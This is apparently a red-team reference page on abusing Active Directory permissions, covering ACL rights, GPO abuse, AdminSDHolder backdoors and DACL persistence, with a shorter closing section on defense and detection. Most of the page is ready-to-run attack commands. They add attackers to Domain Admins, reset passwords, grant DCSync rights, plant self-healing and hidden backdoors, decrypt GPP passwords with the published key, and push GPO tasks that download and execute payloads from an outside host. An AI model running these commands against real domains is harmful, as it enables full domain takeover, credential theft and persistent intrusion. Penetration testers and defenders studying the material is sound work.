Active Directory ACL Abuse
Access Control Lists (ACLs) define permissions on Active Directory objects through Access Control Entries (ACEs). Each ACE specifies what actions a security principal can perform on an object. When misconfigured, these permissions become powerful attack primitives for privilege escalation and persistence.
Every Active Directory object has a Security Descriptor containing the Discretionary Access Control List (DACL), System Access Control List (SACL), and object owner. The DACL contains ACEs that grant or deny specific permissions. The owner of an object implicitly has WRITE_DAC and READ_CONTROL — not WRITE_OWNER automatically, but since WRITE_DAC allows modifying the DACL itself, the owner can add, remove, or replace any ACE including Deny ACEs, and then grant themselves any permission they need including GenericAll. This is documented in depth in the An ACE Up the Sleeve whitepaper by Will Schroeder & Andy Robbins.
Critical ACL Rights for Exploitation
Grants complete control over an object, including all standard and extended rights. This is equivalent to Full Control and implicitly includes WriteDACL, WriteOwner, and all object-specific permissions.
Attack Scenarios:
- On User: Reset password, modify SPNs for Kerberoasting, inject Shadow Credentials, modify group membership
- On Group: Add members to privileged groups (Domain Admins, Enterprise Admins)
- On Computer: Resource-Based Constrained Delegation (RBCD) attacks, reset computer password
- On GPO: Modify SYSVOL file contents (e.g.
ScheduledTasks.xml) or GPO attributes (e.g.gPCMachineExtensionNames) to inject malicious tasks or scripts - On OU: Create child objects (requires
CREATE_CHILD), link GPOs or modifygPLink(requiresWRITE_PROPERTY) — GenericAll includes both
# Enumerate GenericAll on Domain Admins group
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericAll" -and
$_.SecurityIdentifier -match "S-1-5-21-.*"
}
# Add controlled user to Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members 'attacker' -Verbose
# Verify membership
Get-NetGroupMember -GroupName "Domain Admins"
# Grant GenericAll to controlled user on target
dacledit.py -action 'write' -rights 'FullControl' \
-principal 'controlled_user' \
-target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' \
'domain'/'user':'password'
# Add user to group
bloodyAD.py -d domain.local -u user -p password \
--host dc01.domain.local \
add groupMember 'Domain Admins' 'attacker'
Per the MS-ADTS spec, GenericWrite maps to READ_CONTROL + DS_WRITE_PROP (write all properties) + validated writes — it does not include WRITE_DAC, WRITE_OWNER, or DELETE. DS_WRITE_PROP only covers attributes writable for that object class, but in practice this includes the security-critical attributes listed below.
High-Value Attacks:
- Shadow Credentials: Modify
msDS-KeyCredentialLinkto inject certificate for authentication — use Whisker - Targeted Kerberoasting: Set
servicePrincipalNameon user accounts to make them Kerberoastable - Logon Script Injection: Modify
scriptPathattribute to execute malicious code at logon - RBCD: On computer objects, write
msDS-AllowedToActOnBehalfOfOtherIdentity— requires target running Server 2012+ and attacker controlling a principal with an SPN. See Wagging the Dog by Elad Shamir
# Using Whisker to exploit GenericWrite for Shadow Credentials .\Whisker.exe add /target:targetuser /domain:domain.local /dc:dc01.domain.local # Certificate and NTLM hash returned # Use Rubeus to request TGT with certificate .\Rubeus.exe asktgt /user:targetuser /certificate:[Base64Certificate] /password:"[CertPassword]" /nowrap # Authenticate as target user with TGT
# Set SPN on target user with GenericWrite
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='http/fake.domain.local'}
# Kerberoast the account
.\Rubeus.exe kerberoast /user:targetuser /nowrap
# Crack the hash offline
hashcat -m 13100 hash.txt wordlist.txt
# Clean up - Remove the SPN
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
The ability to modify the Discretionary Access Control List on an object. This allows an attacker to add or remove specific ACEs — including removing existing Deny ACEs — and grant themselves any permission over the object, including GenericAll.
Attack Chain:
# Grant GenericAll to controlled user Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity 'attacker' -Rights All -Verbose # Alternative - Grant specific rights Add-DomainObjectAcl -TargetIdentity "targetuser" -PrincipalIdentity 'attacker' -Rights ResetPassword # For GPO objects Add-DomainObjectAcl -TargetIdentity "DefaultDomainPolicy" -PrincipalIdentity 'attacker' -Rights All
# Grant DCSync rights (Replicating Directory Changes)
dacledit.py -action 'write' -rights 'DCSync' \
-principal 'attacker' \
-target-dn 'DC=domain,DC=local' \
'domain.local'/'user':'password'
# Grant Full Control on user object
dacledit.py -action 'write' -rights 'FullControl' \
-principal 'attacker' \
-target-dn 'CN=targetuser,CN=Users,DC=domain,DC=local' \
'domain.local'/'user':'password'
Allows changing the owner of an object. Since the owner implicitly has WriteDACL rights (which can be used to grant themselves any permission), this is a powerful takeover primitive. By default, a user can only take ownership of objects they already own, or must hold SeTakeOwnershipPrivilege. SeRestorePrivilege allows assigning ownership to another principal.
# Change owner to controlled user Set-DomainObjectOwner -Identity 'targetuser' -OwnerIdentity 'attacker' # Owner holds WriteDACL and ReadControl — use WriteDACL to grant explicit GenericAll Add-DomainObjectAcl -TargetIdentity 'targetuser' -PrincipalIdentity 'attacker' -Rights All # Abuse GenericAll (e.g., reset password) $SecPassword = ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force Set-DomainUserPassword -Identity 'targetuser' -AccountPassword $SecPassword
The User-Force-Change-Password extended right allows resetting a user's password without knowing the current password. AllExtendedRights grants all extended rights defined on the target object's class — the specific rights depend entirely on what object you hold it over. On a user object: ForceChangePassword, SendAs. On a group: self-membership. On the domain root object (DC=domain,DC=com): the replication rights required for DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set). AllExtendedRights on most objects does not include DCSync — only on the domain root.
# Using PowerView $SecPassword = ConvertTo-SecureString 'NewP@ssw0rd123!' -AsPlainText -Force Set-DomainUserPassword -Identity 'targetuser' -AccountPassword $SecPassword -Verbose # Using native AD cmdlet Set-ADAccountPassword -Identity 'targetuser' -Reset -NewPassword (ConvertTo-SecureString 'NewP@ssw0rd123!' -AsPlainText -Force) # Authenticate as compromised user runas /user:domain\targetuser cmd.exe
# Using rpcclient from Linux rpcclient -U 'domain/attacker%password' dc01.domain.local -c "setuserinfo2 targetuser 23 'NewP@ssw0rd123!'" # Or via net rpc net rpc password targetuser 'NewP@ssw0rd123!' -U 'domain/attacker%password' -S dc01.domain.local
The SELF access right on a group's member attribute — formally the control access right named Add/Remove Self as Member in AD — allows a principal to add themselves to the group. PowerView surfaces this as the friendly name "Self-Membership," which is why the PowerShell filter below matches on that string. This is commonly found on groups where users need to self-enroll for specific access.
# Check for Self permission on groups
Get-ObjectAcl -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match 'Self-Membership' -and
$_.ActiveDirectoryRights -match 'Self'
}
# Add yourself to the group
net group "IT Administrators" attacker /add /domain
# Or using PowerView
Add-DomainGroupMember -Identity "IT Administrators" -Members 'attacker'
Group Policy Object (GPO) Abuse
Group Policy Objects provide centralized configuration management for Active Directory environments. When attackers gain control over GPOs through ACL misconfigurations or GPO delegation, they can execute code at scale on all computers and users affected by the policy. See MITRE ATT&CK T1484.001.
GPO abuse is particularly dangerous because policies are applied automatically during background refresh cycles (default: every 90 minutes for workstations/servers, 5 minutes for domain controllers). A single malicious GPO modification can compromise hundreds or thousands of machines across the domain within hours.
GPO Exploitation Techniques
GPOs can deploy Immediate Scheduled Tasks that execute as NT AUTHORITY\SYSTEM on target computers. This is the most common GPO abuse technique for gaining SYSTEM-level code execution across the domain. Tools like SharpGPOAbuse (Windows) and pyGPOAbuse (Linux) automate this.
Attack Path:
- Attacker gains edit rights on GPO (via GenericAll, GenericWrite, or specific GPO delegation)
- Modify GPO to create immediate scheduled task in
ScheduledTasks.xml - Task executes arbitrary command as SYSTEM on all computers linked to GPO
- Commonly used to: download and execute malware, add local admin, exfiltrate credentials, establish C2
# Add local administrator via GPO scheduled task
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Default Domain Policy"
# Execute custom command via GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "UpdateTask" --Author "DOMAIN\Administrator" \
--Command "cmd.exe" --Arguments "/c powershell.exe -exec bypass -nop -w hidden -c IEX(New-Object Net.WebClient).downloadstring('http://10.10.10.10/payload.ps1')" \
--GPOName "IT Policy"
# Add user to Domain Admins via GPO (requires user login)
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeDebugPrivilege" --UserAccount attacker --GPOName "Default Domain Policy"
# Create immediate task with PowerView's New-GPOImmediateTask
New-GPOImmediateTask -TaskName "WindowsUpdate" -GPODisplayName "Default Domain Policy" \
-CommandArguments "-exec bypass -nop -c IEX(New-Object Net.WebClient).downloadstring('http://10.10.10.10/run.ps1')" \
-Author "DOMAIN\Administrator"
# Force group policy update on target
Invoke-GPUpdate -Computer "DC01" -Force
# Add local admin from Linux
python3 pyGPOAbuse.py domain.local/user:password -gpo-id "{31B2F340-016D-11D2-945F-00C04FB984F9}" \
-dc-ip 192.168.1.10 \
-command "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
# Execute custom payload
python3 pyGPOAbuse.py domain.local/user:password -gpo-id "{6AC1786C-016F-11D2-945F-00C04fB984F9}" \
-dc-ip 192.168.1.10 \
-command "\\\\10.10.10.10\\share\\payload.exe"
GPO scheduled tasks are stored in \\domain.local\SYSVOL\domain.local\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml. The XML file is directly modified to inject malicious tasks. Immediate tasks execute because the GPO client-side extension processes them on every GP refresh cycle (default every 90 minutes, or immediately on gpupdate). The removePolicy="1" attribute controls cleanup — it causes the task to delete itself from Task Scheduler after execution, not what triggers the execution itself.
GPO settings are stored in two locations: the Group Policy Container (GPC) as an LDAP object, and the Group Policy Template (GPT) as files in the SYSVOL share. Attackers with write access to SYSVOL can directly modify GPT files without needing GPO management permissions.
SYSVOL File Targets:
\\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml- Scheduled tasks\\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml- Local group membership\\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf- Security settings, user rights assignment\\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Scripts\Startup\- Startup scripts\\domain\SYSVOL\domain\Policies\{GPO-GUID}\User\Scripts\Logon\- User logon scripts
# Mount SYSVOL share
smbclient '\\dc01.domain.local\SYSVOL' -U 'domain\user%password'
# Navigate to GPO directory
cd domain.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Machine/Preferences/ScheduledTasks/
# Download ScheduledTasks.xml, modify locally, re-upload
get ScheduledTasks.xml
# ... edit file to add malicious task ...
put ScheduledTasks.xml
By default, Domain Users have Read access to SYSVOL. Write access is limited to Domain Admins, SYSTEM, and the owner of each specific GPO's SYSVOL path. However, misconfigurations occur. Always check: icacls \\domain\SYSVOL\domain\Policies
Group Policy Preferences historically stored passwords for local accounts, services, and scheduled tasks in Groups.xml files within SYSVOL. Microsoft patched this with MS14-025 (May 2014) to prevent new passwords from being stored, but legacy GPP passwords persist in many environments. The AES-256 encryption key was published by Microsoft in their open specification, making all stored passwords trivially decryptable.
# Search for cpassword attribute in all GPO XML files
Get-ChildItem -Path "\\domain.local\SYSVOL\domain.local\Policies" -Recurse -Include *.xml |
Select-String -Pattern "cpassword" |
ForEach-Object { $_.Path }
# Using Get-GPPPassword from PowerSploit
Get-GPPPassword -Server dc01.domain.local
# Decrypt cpassword (AES key is publicly known)
# Key: 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
# Manually search for Groups.xml files smbclient '\\dc01.domain.local\SYSVOL' -U 'domain\user' -c 'recurse; ls Policies/*/*/Groups.xml' # Decrypt found cpassword value gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
Common GPP Locations:
Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml- Local users/groupsPolicies\{GPO-GUID}\Machine\Preferences\DataSources\DataSources.xml- Database connection stringsPolicies\{GPO-GUID}\Machine\Preferences\Services\Services.xml- Service accountsPolicies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml- Task credentials (legacy only — MS14-025 prevents new passwords being stored)Policies\{GPO-GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf- Security settings (only present if security settings have been configured in the GPO)
GPO permissions can be delegated to non-admin users for specific management tasks. Overly permissive delegation creates privilege escalation opportunities. Focus on GenericWrite, GenericAll, WriteDACL, WriteOwner, and Manage Group Policy links permissions. Use BloodHound to identify and visualise these paths.
# Find GPOs where current user has write permissions
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs |
Where-Object {
$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite" -and
$_.SecurityIdentifier -match $([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value)
}
# Using GPOAudit to find weak ACLs
Import-Module GPOAudit
Get-GPOPrivilege
# Check specific GPO permissions
Get-GPPermission -Name "Default Domain Policy" -All
# Collect data with SharpHound .\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp # BloodHound Cypher queries for GPO abuse paths MATCH p=(u:User)-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(g:GPO) RETURN p # Find GPOs linked to Domain Controllers OU MATCH (g:GPO)-[r:GpLink]->(o:OU) WHERE o.name CONTAINS "DOMAIN CONTROLLERS" RETURN g,r,o
AdminSDHolder Backdoor Techniques
AdminSDHolder is an Active Directory object (CN=AdminSDHolder,CN=System,DC=domain,DC=com) that serves as a security descriptor template for privileged accounts and groups. A background task called ProtectAdminGroups runs every 60 minutes on the PDC Emulator, compares the security descriptor of each protected object against AdminSDHolder, and resets any differences. Despite what most documentation states — including Microsoft's own Appendix C — SDProp (Security Descriptor Propagator) is a completely separate process: it handles the propagation of inheritable ACEs across all writable DCs and has no direct involvement in AdminSDHolder protection. This conflation is one of the most widespread misconceptions in Active Directory security, documented in detail in Jim Sykora's 150-page whitepaper (SpecterOps, 2025).
Protected groups (Server 2019–2025) include: Account Operators, Administrator (the built-in account), Administrators, Backup Operators, Domain Admins, Domain Controllers, Enterprise Admins, Enterprise Key Admins, Key Admins, KRBTGT, Print Operators, Read-Only Domain Controllers, Replicator, Schema Admins, and Server Operators. The ProtectAdminGroups task uses transitive group expansion, so direct and nested members are both in scope. When processed, their adminCount attribute is set to 1 and inheritance is disabled — though if a nested member's security descriptor already matches AdminSDHolder, the task leaves it untouched and adminCount may remain 0. Important: individual DC and RODC computer objects that are members of the Domain Controllers and Read-Only Domain Controllers groups are purposefully excluded from AdminSDHolder protection. The ProtectAdminGroups task runs every 60 minutes on the PDCe. See Sykora's whitepaper and Sean Metcalf's deep dive for full details.
By modifying the AdminSDHolder object's DACL to grant a controlled user GenericAll or specific rights, attackers ensure that these permissions are automatically propagated to all protected accounts. This provides persistent, self-healing Domain Admin access that survives password resets and group membership removal.
Attack Flow:
# Grant GenericAll to controlled user on AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" `
-PrincipalIdentity 'backdoor_user' `
-Rights All `
-Verbose
# Trigger SDProp immediately (optional)
Invoke-ADSDPropagation
# Verify permission was added
Get-ObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -match 'S-1-5-21-.*-'}
# Add FullControl for persistence
dacledit.py 'domain.local/admin:password' \
-action 'write' \
-rights 'FullControl' \
-principal 'backdoor_user' \
-target-dn 'CN=AdminSDHolder,CN=System,DC=domain,DC=local'
# Read AdminSDHolder DACL to verify
dacledit.py 'domain.local/admin:password' \
-action 'read' \
-target-dn 'CN=AdminSDHolder,CN=System,DC=domain,DC=local'
# Force AdminSDHolder ProtectAdminGroups task to run immediately (requires elevated access)
# Method 1: Invoke-ADSDPropagation.ps1
Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation
# Method 2: Trigger runProtectAdminGroupsTask via rootDSE modify operation
# This triggers the AdminSDHolder ProtectAdminGroups task — NOT SDProp
# (AdminSDProtectFrequency controls this interval, default 3600 seconds = 1 hour)
# Change to 60 seconds
$RootDSE = [ADSI]"LDAP://RootDSE"
$ConfigNC = $RootDSE.configurationNamingContext
$DSPSC = [ADSI]"LDAP://CN=Directory Service,CN=Windows NT,CN=Services,$ConfigNC"
$DSPSC.Put("runProtectAdminGroupsTask", 60)
$DSPSC.SetInfo()
# Wait 60 seconds, then restore to 3600
Start-Sleep -Seconds 60
$DSPSC.Put("runProtectAdminGroupsTask", 3600)
$DSPSC.SetInfo()
Monitor Event ID 5136 (Directory Service Changes) for modifications to CN=AdminSDHolder. The backdoor persists indefinitely unless the malicious ACE is manually removed from AdminSDHolder. Simply removing the user from Domain Admins does not remediate the backdoor — it will re-grant permissions on the next AdminSDHolder ProtectAdminGroups cycle (within 60 minutes on the PDCe).
The adminCount attribute is set to 1 by the AdminSDHolder ProtectAdminGroups task as a marker on accounts it has processed — it is an output, not an input. The ProtectAdminGroups task determines which accounts to protect by checking group membership in the protected groups list, not by reading adminCount. Manually setting adminCount=1 on a backdoor account does not cause AdminSDHolder to protect it or propagate AdminSDHolder permissions to it.
The real risk of adminCount is residual orphaned accounts: if a user is removed from all protected groups, their adminCount remains 1 and ACL inheritance stays disabled. These orphaned accounts have a non-standard security posture and should be cleaned up regularly.
# Find accounts with adminCount=1 not in any protected group
# These are "orphaned" - they had the marker set but may no longer be protected
Get-ADUser -Filter {adminCount -eq 1} -Properties adminCount, MemberOf |
Where-Object {
$_.MemberOf -notmatch "Domain Admins|Enterprise Admins|Schema Admins|Administrators"
} | Select-Object SamAccountName, DistinguishedName
# Clean up: re-enable inheritance and clear adminCount
$user = Get-ADUser "orphaned_user" -Properties nTSecurityDescriptor
$acl = $user.nTSecurityDescriptor
$acl.SetAccessRuleProtection($false, $true) # Re-enable inheritance
Set-ADUser "orphaned_user" -Replace @{adminCount=0}
DACL-Based Persistence Mechanisms
Access Control List manipulation provides stealthy, malware-free persistence that survives OS reinstalls and doesn't require code execution. These techniques modify security descriptors to maintain privileged access.
Advanced persistence involves hiding malicious ACEs by modifying object ownership and setting Deny ReadProperty ACEs on specific attributes, making it difficult for defenders to enumerate backdoored permissions.
Stealth Techniques:
- Owner Modification: Change object owner to backdoor account — owner holds WriteDACL and ReadControl, which is sufficient to grant themselves GenericAll
- Deny ACEs: Add Deny ReadProperty on
nTSecurityDescriptorto hinder DACL enumeration by standard tools — note this may break legitimate admin tools and does not prevent low-level LDAP or SYSTEM-level reads - Hide Principal: Set Deny ListChildren on container to hide backdoor account from normal queries
- Inheritance Abuse: Set WriteDACL with inheritance flags on OUs to propagate backdoor to child objects
# Change owner to backdoor user
Set-DomainObjectOwner -Identity 'targetobject' -OwnerIdentity 'backdoor_user'
# Add Deny ReadProperty on nTSecurityDescriptor
# This prevents most tools from reading the DACL
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
(New-Object System.Security.Principal.NTAccount 'DOMAIN\Domain Admins'),
[System.DirectoryServices.ActiveDirectoryRights]::ReadProperty,
[System.Security.AccessControl.AccessControlType]::Deny,
[System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
# Note: This is advanced and may break legitimate access
Setting inherited ACEs at the container or OU level allows backdoors to automatically apply to all child objects, including newly created ones. This is particularly powerful when combined with WriteDACL on high-level OUs.
# Grant GenericAll with inheritance on OU
Add-DomainObjectAcl -TargetIdentity "OU=Servers,DC=domain,DC=local" `
-PrincipalIdentity 'backdoor_user' `
-Rights GenericAll `
-InheritanceType All `
-Verbose
# All current and future objects in this OU will inherit the permission
# Using Impacket's dacledit with -inheritance flag
dacledit.py 'domain.local/admin:password' \
-action 'write' \
-rights 'GenericAll' \
-principal 'backdoor_user' \
-target-dn 'OU=Workstations,DC=domain,DC=local' \
-inheritance
Instead of dumping credentials and leaving, attackers can grant themselves permanent DCSync rights (Replicating Directory Changes + Replicating Directory Changes All). This allows password hash extraction at any time without requiring Domain Admin access, using tools like Impacket's secretsdump or Mimikatz.
# Grant Replicating Directory Changes rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
-PrincipalIdentity 'backdoor_user' `
-Rights DCSync `
-Verbose
# Alternative: Explicitly grant both extended rights
$Guids = @(
'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', # DS-Replication-Get-Changes
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
)
foreach ($Guid in $Guids) {
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
-PrincipalIdentity 'backdoor_user' `
-Rights ExtendedRight `
-RightsGUID $Guid
}
# Grant both replication rights
dacledit.py 'domain.local/admin:password' \
-action 'write' \
-rights 'DCSync' \
-principal 'backdoor_user' \
-target-dn 'DC=domain,DC=local'
# Backdoor user can now DCSync anytime
secretsdump.py 'domain.local/backdoor_user:[email protected]' -just-dc-ntlm
Attackers with GenericWrite or GenericAll on a gMSA can modify the msDS-GroupMSAMembership attribute to grant themselves or a controlled computer the ability to retrieve the gMSA password. This is particularly valuable for persistence on service accounts.
# Modify msDS-GroupMSAMembership to allow controlled computer to read password Set-ADServiceAccount -Identity 'sqlgmsa$' -PrincipalsAllowedToRetrieveManagedPassword 'ATTACKER-PC$' # From ATTACKER-PC, retrieve gMSA password $gmsa = Get-ADServiceAccount -Identity 'sqlgmsa$' -Properties 'msDS-ManagedPassword' $mp = $gmsa.'msDS-ManagedPassword' $ntHash = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
Defense & Detection Strategies
Defending against ACL and GPO abuse requires a multi-layered approach combining preventive controls, continuous monitoring, and regular auditing.
Preventive Controls
- Implement Tier 0 administrative model - separate privileged access
- Apply principle of least privilege - remove unnecessary ACL grants
- Use Protected Users group for sensitive accounts
- Verify inheritance is disabled on AdminSDHolder (it is by default — confirm it has not been re-enabled)
- Regular ACL audits with BloodHound or PingCastle
- Implement GPO change approval process
- Restrict SYSVOL write permissions to Domain Admins only
Detection & Monitoring
- Event ID 5136: Directory Service Changes (AdminSDHolder, ACL modifications)
- Event ID 4662: Operation performed on an object (DCSync attempts)
- Event ID 5145: Detailed File Share (SYSVOL modifications)
- Monitor
ScheduledTasks.xmlandGptTmpl.inffile changes - Alert on
adminCountattribute changes - Track GPO version number changes
- Baseline AdminSDHolder DACL and alert on deviations
Auditing Tools
- BloodHound: Map ACL attack paths and identify dangerous permissions
- PingCastle: Automated AD security assessment including ACL issues
- Purple Knight: GPO-based scheduled task detection
- Semperis DSP: GPO change monitoring and rollback
- PowerView: Manual ACL enumeration and analysis
- Impacket dacledit: Read/audit DACLs from Linux
Hardening Measures
- Enable Advanced Audit Policy for Directory Service Changes
- Configure SACL on AdminSDHolder for all changes
- Restrict GPO delegation to dedicated admin groups only
- Remove legacy Group Policy Preferences with cpassword (MS14-025)
- Implement Just-In-Time (JIT) privileged access
- Use PAWs (Privileged Access Workstations) for admin tasks
- Regular review of protected group membership
Most organizations lack proper auditing of ACL changes. Event ID 5136 is not enabled by default in many environments. Without this logging, ACL-based persistence is effectively invisible. Additionally, SDProp runs silently and legitimate-looking ACEs on AdminSDHolder can persist for years undetected.
Tools & References
Offensive Tools
- BloodHound - Attack path mapping and ACL enumeration
- PowerView - PowerShell AD enumeration and ACL abuse
- SharpGPOAbuse - GPO abuse for privilege escalation
- pyGPOAbuse - Python GPO abuse from Linux
- Impacket dacledit - DACL manipulation from Linux
- Whisker - Shadow Credentials attacks via GenericWrite
- bloodyAD - Multifaceted AD privilege escalation framework
- GPOddity - Stealthy GPO exploitation via NTLM relay
Defensive Tools
- PingCastle - AD security assessment and ACL auditing
- Purple Knight - Free AD security indicator assessment
- Semperis DSP - GPO change detection and rollback
- ADACLScanner - Detailed ACL enumeration and reporting
Essential Reading
- An ACE Up the Sleeve - Will Schroeder & Andy Robbins, SpecterOps (DACL backdoors)
- BloodHound 1.3 - The ACL Attack Path Update - Andy Robbins (ACL abuse introduction)
- AdminSDHolder: Misconceptions and Misconfigurations - Jonas Bülow Knudsen, SpecterOps
- Active Directory AdminSDHolder, Protected Groups and SDPROP - Sean Metcalf, ADSecurity.org
- Sneaky Active Directory Persistence #17: Group Policy - Sean Metcalf, ADSecurity.org
- Wagging the Dog: Abusing Resource-Based Constrained Delegation - Elad Shamir
- GPOddity - Synacktiv (GPO exploitation via NTLM relay)
- MITRE ATT&CK - T1484.001 - Domain Policy Modification: Group Policy Modification
- MITRE ATT&CK - T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions
- MITRE ATT&CK - T1003.006 - OS Credential Dumping: DCSync